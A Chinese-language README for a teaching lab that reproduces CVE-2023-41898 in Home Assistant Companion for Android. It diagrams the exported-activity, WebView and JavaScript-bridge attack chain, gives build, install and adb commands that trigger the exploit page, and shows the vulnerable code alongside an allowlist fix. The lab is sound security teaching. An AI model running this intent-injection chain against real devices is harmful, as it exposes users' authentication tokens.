这是一个基于 Home Assistant Companion for Android 的公开漏洞报告(GHSL-2023-142)以及漏洞版本 2023.8.2 的开源结构制作的教育性精简复现实验环境。
不会使用真实的 Home Assistant 服务器、账户或令牌,仅暴露名为 LAB_TOKEN_CVE_2023_41898_NOT_REAL 的固定虚拟令牌。
2023.9.2(依据官方公告)2023.9.2Attacker App
│ explicit ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ 未经验证地调用 JavaScript-enabled WebView.loadUrl()
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ 向攻击者页面暴露 externalApp JavaScript bridge
▼
显示虚拟 LAB_TOKEN
Android manifest 中的 intent-filter 仅定义哪些 URI 可与隐式 Intent 匹配,并不会自动验证显式指定组件的 Intent 的 data URI。
victim/:复现易受攻击的 deep-link 处理器和特权 WebView 的应用attacker/:向受害者应用的 exported Activity 发送显式 Intent 的应用web/:在本地提供的第一、二阶段攻击页面dist/:验证完成的 debug APKUPSTREAM.md:原始源码与本实验实现之间的对应关系要求:JDK 17 或更高版本、Android SDK 36、Gradle/Android Gradle Plugin 缓存或互联网连接。
./gradlew :victim:assembleDebug :attacker:assembleDebug
仅在获得授权的模拟器或测试设备上进行。
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
在实验室根目录下执行以下命令。
python3 -m http.server 8000 --directory web
在 Android Studio 默认模拟器中,10.0.2.2 指向宿主 PC 的 loopback 地址。如果使用真实测试设备,请将 web/exploit.html 和攻击应用中的 URL 改为 PC 的局域网 IP。
CVE-2023-41898 Victim 和 CVE-2023-41898 Attacker 应用。homeassistant://navigate/ URL。LAB_TOKEN_CVE_2023_41898_NOT_REAL。也可以使用 ADB 在不借助攻击应用的情况下触发第一阶段。
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
易受攻击的实现会直接加载外部 URI。
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
修复时应使用严格的 allowlist 验证解析后的 URI 的 scheme、host、port 和 path。不要使用字符串 startsWith 比较,因为存在用户信息([email protected])、子域名和编码绕过风险。
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
此外,应移除 WebView 中不必要的 JavaScript 和 JavascriptInterface,并对所有导航和重定向应用相同的 URL 验证。
2023.8.2:https://github.com/home-assistant/android/tree/2023.8.2